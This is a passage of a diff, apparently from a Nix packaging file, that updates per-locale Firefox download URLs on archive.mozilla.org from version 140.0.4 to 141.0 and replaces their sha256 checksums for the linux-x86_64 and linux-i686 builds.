+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/mr/firefox-141.0.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "f89cf49dd5a8119987c9824af141a610fafd35ecdad63efdda4566ef881b779e";
+      sha256 = "c5892b143341aa7b598af97c3b6c8183d232c25795b92d44986a78ad4e0423e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ms/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ms/firefox-141.0.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "16034026fa470345bda32ab6cf77855ad181a46450605c2f3a3da7b3e8459141";
+      sha256 = "56cc8cce77bb0a08ebe02a96119c4dd096b0b21efa7fa6e3fef23ec172087d6b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/my/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/my/firefox-141.0.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "80b62b63f5b85034ad85c08427e8b57d8ad7006c39398f1d53d5c1d371d52f58";
+      sha256 = "908923f951d9359aab8a6842dced595dea6894845b4a87f1a0b3d230d938ed79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/nb-NO/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/nb-NO/firefox-141.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "822b4d14e399be6be9a7138eef6c3d4196df57c1af1bf397e57ceaf255f5005d";
+      sha256 = "2acc1f4c9066febc25ea640f18ef4d097f566aa684c61b2aa70e7f23dbf36a3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ne-NP/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ne-NP/firefox-141.0.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "9835c9fcee863a72f405342b3b9e5ca8221640999f676071208b92e4f55a431b";
+      sha256 = "ef3c32c2fc7f5eda6446193fe60340b41224d657e2b0612830291a366f8c4929";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/nl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/nl/firefox-141.0.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "321eabfeca0d23d1ca52f11f2385951ab493cf37e6fa0f2910c614b9cea50c5e";
+      sha256 = "94fdd76231cb9d57cab829d740cf693b5eb9263b79d90ad1c672a7c3fd9e9a80";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/nn-NO/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/nn-NO/firefox-141.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "b6d189494b498693635c773fb5508add490766a8e84a3434174aeb806fcae122";
+      sha256 = "28fd06badf8d15e00926bc3551719760df780c528d6328ee4f712d134b406203";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/oc/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/oc/firefox-141.0.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "5e4c3b578f7be36ba60f0bea160384c3d51c975a78509e978229116409a0c2dd";
+      sha256 = "ac7f41fe17af7dbf01815eaf9bcfce3725ceb0940d15d2247b0eb8028822807d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/pa-IN/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/pa-IN/firefox-141.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "9a2db5dda0332d2bc15319a2bd9827fe631b55e309874683c013f467e241560c";
+      sha256 = "5c4e14cc6b316194b6b947698362496b9247846527004de0e1b72fbd8f327c4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/pl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/pl/firefox-141.0.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "d1d2e2e5280de06eb8e5c4a5003427bd022a1fd75de781d9f1102a493f489728";
+      sha256 = "e0f6f5419bd271a96cd302e10f223f642b1c6a4c95342d5a9a898bd80a7ae43a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/pt-BR/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/pt-BR/firefox-141.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "98b35b1f41e66e81bce4d73389537d5f65a62b26a541d11d7a777173ff80ace1";
+      sha256 = "3a5d178aeb8b5be2f46f24d045860ade3d5bacfedf6de277cbb8605b2ec3845a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/pt-PT/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/pt-PT/firefox-141.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "3888619d2961ae318b80554a1a96d6a1217775b73fd420cab7c7550db213677d";
+      sha256 = "d7f0e228938443336a612295618b01783b1e74f3a885e3bb081a1665afc0e6ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/rm/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/rm/firefox-141.0.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "454c0d5c4206dc40aa4d1466c68bfa34a14dffadc39b4f1389c08396cbfc6a2c";
+      sha256 = "ffeeba509ea2daa430198075b59f1ebeeb82d7b52cd92c1d3ac522fa41100892";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ro/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ro/firefox-141.0.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "36e688a7fd8de7faa6137b8f18c529af29c1ddb4127f13522d1e764a96a0359f";
+      sha256 = "bf218bb75858601ede8a0eb7a25ba6e40162c75b25ad89eff895c67bf1cdfdd2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ru/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ru/firefox-141.0.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "b58eff8dd606fc072aec5d2a5c05aaf3f1be24df50ebe229f67ae470fc0de77e";
+      sha256 = "b7b16e3bfafff74d6d3df3d331e97d0b9eb22e5addfd851a49c9a71a9e98a983";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sat/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sat/firefox-141.0.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "359ea9fa726ae7cf85e8c4e3b93ac229fd1eb1e6aadfcd80202f43261f230b2d";
+      sha256 = "652538fb059b7b0a51120df52c228adb70bf7601c274e3d66a60cbe311dd1645";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sc/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sc/firefox-141.0.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "019e0c4b5efa01ccf11c648ea5926b06723b8347dc40a510dc8943d6f3f9398c";
+      sha256 = "248940ad9472e70e9c945fe2082b61af06f67095d39f29f6bea27af57d9ec91b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sco/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sco/firefox-141.0.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "579aa32bf96feaf1802661cb76ee71e2e86eab5eef165427ffd17221d930a424";
+      sha256 = "981cc2a18172d064384a960fb66dbed2a0b17eb1395035774e7798245e51a5ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/si/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/si/firefox-141.0.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "36bbcbf0c69c94dcaa5f7d83a210803e62aa4e7681ea265ff940b450809a8c9d";
+      sha256 = "8b83988259428dea385076c979dec578978ca75b1bd4c3878eaccd1a461f397c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sk/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sk/firefox-141.0.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "4c0d7fd27b2d6f13b9fbb46bc60d0d0fae3ccc0a48964d8b76fd755abb09b6c3";
+      sha256 = "9a561262a0c7b7b1e332a8a9a5b69e687b47dc8c503408a93f1099b1c9ddfaf8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/skr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/skr/firefox-141.0.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "a36eb3eff2841cf74a826ecfdf5e9bba0f002dbfbdbd047efa666f017b4b8990";
+      sha256 = "f0d532ef24b5013f7ed8523cde916f9cdb2073ee6e575ff438fa58d0bd7aff7e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sl/firefox-141.0.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "94907dcffdcb458d689f07d44d593bebb626b8e33369f8430bb832af3ebbeb31";
+      sha256 = "6fc3499d2426050f2fb5dc06208dd47bbc4dd12ae0e2465c9ff1e19a46b9a189";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/son/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/son/firefox-141.0.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "2361e0fe70ce80a749202033a108cdd5f452bde4f6d1aabe93bac29f111099be";
+      sha256 = "e94de9882893729691bb25e19da53f4d823d498f91540ab22a0b0e7469af4490";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sq/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sq/firefox-141.0.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "0b10efa397b9374633f1e6cdd96e6c0db209fbbbecea9f5b2ace09387f0d0632";
+      sha256 = "20e4ae4867df2a6bdebceafe293afa420bd830832cc41731c5476b41808ac207";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sr/firefox-141.0.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "d3d1ee2abed6d1f4a7141266dc91607f63e99050bb8604d42d57fb84ec4b0ad1";
+      sha256 = "b9a1cd195e866f7b586dba2e365daf35262563da904120b4e143c43511279447";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sv-SE/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sv-SE/firefox-141.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "861ec995d3c583b3923bc3341eeef98798081efad4aed440c85db7d68c17e633";
+      sha256 = "b6ddcae04d1d1cf86a1e83b6f32f3f6da5203dd56406318b25c78ef74fac3675";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/szl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/szl/firefox-141.0.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "cf15037296dc5d8d12473c7d6b35d76212e18737e615bad47618544770689e30";
+      sha256 = "f651961b177b1d6bbde75495c29496caf6a9e48ad74ca60049b2cd63927aeb73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ta/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ta/firefox-141.0.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "b67ecba9a19f933c2119a360bc32155933bbf58880682e9a92d611413839e3f3";
+      sha256 = "eda48ae4f0ae77b3348cb98e08cf57b4d206f7eba7df2bdb13e235216c7c16de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/te/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/te/firefox-141.0.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "3a7f66d6301d732aa1f7a38b543af171217981752422adc8369bb0d2fa57960e";
+      sha256 = "7ba0cc8ec3345529c4b907afd9e48f4d9866706624d8e667c3a964e01c452d02";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/tg/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/tg/firefox-141.0.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "7f7d9279462f9258d34d5c244ee05f7b550c077783de99826f98c85c1b18a1de";
+      sha256 = "59347f07805141279b3c1c4e49dbbc2a3e4a3326a817ed5bb431769835753989";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/th/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/th/firefox-141.0.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "7f66f1da57dcb7d66d01df6dde1a6164c2b67547de375f922f3b969da44b0c4c";
+      sha256 = "c6f12617e5a120aede51d216c4e25dc02736548da6100713d1e9cc720c765bcc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/tl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/tl/firefox-141.0.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "e5e537353c36f62fe81665e568b58a628cbded6e3878b6f7cd0a4c1595f66a7f";
+      sha256 = "7d9dc0189cc61c76e2b8f4aee8114a01c399b5646a76d1aae34a4bfd180bb279";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/tr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/tr/firefox-141.0.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "1a1234f1d51aa51914e0a7b0691119f7db59e2fdec984ac7a050f6146165094c";
+      sha256 = "66dc3859bf6cefad36bce15c4cce672d51cc830ff0803e9736f2b0bb5318ee7a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/trs/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/trs/firefox-141.0.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "f2daf710fca9ef775dacb674666248b263f17de8aafbe104057883b9cb8ab082";
+      sha256 = "aab10409ced21fd7ea068e347ef1ee152dd876b30cc49b7a19ac74c16a7ff8d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/uk/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/uk/firefox-141.0.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "ccde5546dfffdf689266eb5d775e515788720e3ee9fd604040f5fa1159a13629";
+      sha256 = "fb892fb66074ee76dfadd57478919fb609f9ccb3633b056041669748cf5565d2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ur/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ur/firefox-141.0.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "d341965dbe1d7b5e97a259616c656241d70b79475edb66f496eb12b847c7b8b5";
+      sha256 = "5b59801b5908364e7420659a1fa7036d63d3e8ff721da385a2dda318893cdb24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/uz/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/uz/firefox-141.0.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "10be44ae71670ff47a6a5d5770a66ae72f0de6c9f92b20ad5ba4e35c513c7c21";
+      sha256 = "8072c4b2cae35e14ecadfdd4e14f155a0f19a2cf4754973e28ec119c5c1d20b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/vi/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/vi/firefox-141.0.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "0f62936990ed1b09fa802076f5a3fac6e0124abc7b00e2b21eb3d99f67b9a93c";
+      sha256 = "c746d7d728c2be0d094334878c3fe54abddc62cbae023d344ac2c6f17a79e3d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/xh/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/xh/firefox-141.0.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "5a2b8e9bb73887c7bf67dcbdba8107276865c6acc5f068097762ea6423363b69";
+      sha256 = "7a1550cf0fba788deaedaca174891483b0ad35b81b64cdc4b0e14b5f5ca93f13";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/zh-CN/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/zh-CN/firefox-141.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "7e9414f774c20db478855bda61ac92b4391b71b67926a3c0500ade8b02a50118";
+      sha256 = "5fa634f2baa3c9db65b6862831319e70fedee2f327a4c3a3618887d9c7ee2557";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/zh-TW/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/zh-TW/firefox-141.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "91745033ba539697affd88bc38b907e8611366ab920e0368f7c32d58995ec38a";
+      sha256 = "20fcd590199eef56f5aaf0a5de146f42988ceaeab41db94d02e83bb8cd913aa7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ach/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ach/firefox-141.0.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "1186084f9cb050042d78e286a31cf8638025a86323e35980646a7097117af318";
+      sha256 = "5aa043bd9a998e3e41755fd8d7056c7d8ccdaafbf64657ba355d3cd55627162b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/af/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/af/firefox-141.0.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "2a38b0c0ef06cee8b82618b1590a381c4aa986db7fb2a4c5c95e8c84ecaf7cb3";
+      sha256 = "276b5d34ea2743e4b8cc49202196ed27696516cfd7ff02643166de2277105e74";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/an/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/an/firefox-141.0.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "14be6b274071b90e28b31eaced6fb55c8aa802f812ee844895f05a6976a7b67c";
+      sha256 = "4d630ecdd61f81ef2eb6bf6ba35f73d33cdce7b4a8a59169ed8fd823b9d3bae7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ar/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ar/firefox-141.0.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "2fd0c0cb5059f4982c3b47350bd20e1a75c61e556b0624eb48e5842ed7651adb";
+      sha256 = "bf49eed15b7b617db673924eb9d03801f4297e9f9c20ab7c61b7d64cc71eee03";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ast/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ast/firefox-141.0.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "73d6547c8e24b39cf93f10f58f72198108967eb3f8b00bad07ffd62f01ffa528";
+      sha256 = "55f8efe4c353f8c38b789bc76fa67639799d4d19bc120707a1695c0f236ba797";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/az/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/az/firefox-141.0.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "79fb1f46eae41d4bff468e72de977282c353936fcd8a3e3cf7503bc324284183";
+      sha256 = "2e824f712f4a0efd8eb5f761b21a61a5fa4b2a7e547cb914ab684934cc9e8ac6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/be/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/be/firefox-141.0.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "dc68865f6e1946c94828eecf8f3d8f036e31a0e39628f15b68b434c05e6236e6";
+      sha256 = "be41ccd413e228d286e6b322173f6e6cbe8adc4944cffce9ef5fd229ee67a31e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/bg/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/bg/firefox-141.0.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "105a93713444c9e121945073ed075530ea8cf6de27304f51eda03d97fc390be1";
+      sha256 = "dbe7756144cac5928de8fea7c6cbf1074833992abc122ab9bb1360c333735cce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/bn/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/bn/firefox-141.0.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "689007b39930b173756e9dd0f07db52dddd7af05ab75058103a22af1bdf2f243";
+      sha256 = "4b080771a07ee9a868e7a3a2c19581cd9ddb29a05bd9135d21fc7c765db09667";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/br/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/br/firefox-141.0.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "f7f4fdddc29c097eba6d19cf9956c0e1e57a6319d8e8b595d75c818a5aeb2969";
+      sha256 = "6715f0c218de95bcfc24429b0f767ead54249192e0e755ff1c8988f13dfd1fad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/bs/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/bs/firefox-141.0.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "f03d2f78cee1bb7ff52191daf0aefa020051135876e93584705a576ceab2c000";
+      sha256 = "1e1cae385cec000a8408f6a2d26ebce2084344e877d4ef1a88d0a1014be3ed84";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ca-valencia/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ca-valencia/firefox-141.0.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "f374f49c3b99ef7a4ab5971476088e0a795f51b79c78bb107735736fb02608cc";
+      sha256 = "7d5a3865c34be1d6f11262a0f4d982e6f5878d9c3915bff842067e4aa626e472";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ca/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ca/firefox-141.0.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "19ee5381f86227c2cece4d0bc17bb91a903d2d3f91ef426962ed4088fa420a5a";
+      sha256 = "8acefde214d8fbc2920d4a7b608343771a42ad2e74c995d0f365e3220aee8576";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/cak/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/cak/firefox-141.0.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "d2ee2f40482b9b2e38c30845ad2e81a22adeade19ac4d9bbd74c65457bc60372";
+      sha256 = "4b3f2f5bfc1fbda23410abd42c8876eaad03974adb511e0552a07fb846b3aa10";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/cs/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/cs/firefox-141.0.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "e6d69d98553b603912cee8d1c4a34055b9ab1eacff80c7951bc171e792e760f5";
+      sha256 = "670b97ab473462da89c7e8fe9e041ae390e8c05d2651f190b0913e86dd03270e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/cy/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/cy/firefox-141.0.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "eb66fd829f0c8824aa6b591e9a493ab09014c5a0ce1f6964228eda7ae55c78be";
+      sha256 = "3dff5d6fc179055454cdd402f954ef68a75640ab495771e579b77e7fffb5c2c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/da/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/da/firefox-141.0.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "01dd245a9277b95134001c1c96a1f3a82af274a76034e307695d8f1c1793bc26";
+      sha256 = "14c0c1fce44b64eb823ed163701bf7cf4931f645357da2e4147304fed531af5e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/de/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/de/firefox-141.0.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "31f6ead3bc8c4dd96a7f6f4471090f36a7783ba35aff21aa4809257d713f837c";
+      sha256 = "7ed12cc1b63ad10454842ef6115dc591db54ac300aeec62475710d1dfed75171";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/dsb/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/dsb/firefox-141.0.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "8e88de458d493f789912612b1c90f444eab638ad300db42142ed17683c4980ef";
+      sha256 = "39c498682c70bf9ff4c01464d538cdfa5478a40eaf03221b56854faae8813ba0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/el/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/el/firefox-141.0.tar.xz";
